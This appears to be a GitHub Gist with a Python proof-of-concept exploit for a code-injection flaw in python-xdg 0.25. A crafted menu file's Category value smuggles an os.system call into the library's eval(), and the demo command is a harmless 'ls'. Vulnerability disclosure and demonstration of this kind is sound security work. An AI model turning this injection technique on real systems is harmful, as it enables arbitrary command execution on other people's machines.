Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Proof-of-Concept for python-xdg 0.25 Python code injection
#!/usr/bin/python3
import os
import shutil
from xdg.BaseDirectory import xdg_config_dirs
from xdg.Menu import parse
TEMP = "/tmp/poc-xdg"
MENU = "gnome-evil.menu"
RSLT = "{}/result.txt".format(TEMP)
CMD = "ls"
evil_menu = """<!DOCTYPE Menu PUBLIC "-//freedesktop//DTD Menu 1.0//EN" "http://www.freedesktop.org/standards/menu-spec/1.0/menu.dtd">
<Menu>
<LegacyDir>{}</LegacyDir>
<Include>
<Category>' or __import__('os').system('{} > {}') or '</Category>
</Include>
</Menu>
""".format(TEMP, CMD, RSLT)
empy_shortcut = "[Desktop Entry]"
# 1. create a temporary folder
if not os.path.exists(TEMP):
os.makedirs(TEMP)
# 2. modify XDG_CONFIG_DIRS to also parse the newly created temporary location
xdg_config_dirs += [TEMP]
# 3. create the payload (it requires to be put in a 'menu' subfolder)
_ = "{}/menus".format(TEMP)
if not os.path.exists(_):
os.makedirs(_)
with open("{}/{}".format(_, MENU), 'w') as f:
f.write(evil_menu)
# 4. create an empty shortcut (required for parsing a menu entry and leading to
# the eval() statement)
with open("{}/sample.desktop".format(TEMP), 'w') as f:
f.write(empy_shortcut)
# 5. trigger parsing (this will automatically search in every location from
# XDG_CONFIG_DIRS for the given filename)
parse(MENU)
# 6. read injected command's result
with open(RSLT) as f:
print(f.read())
# 7. cleanup
shutil.rmtree(TEMP)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.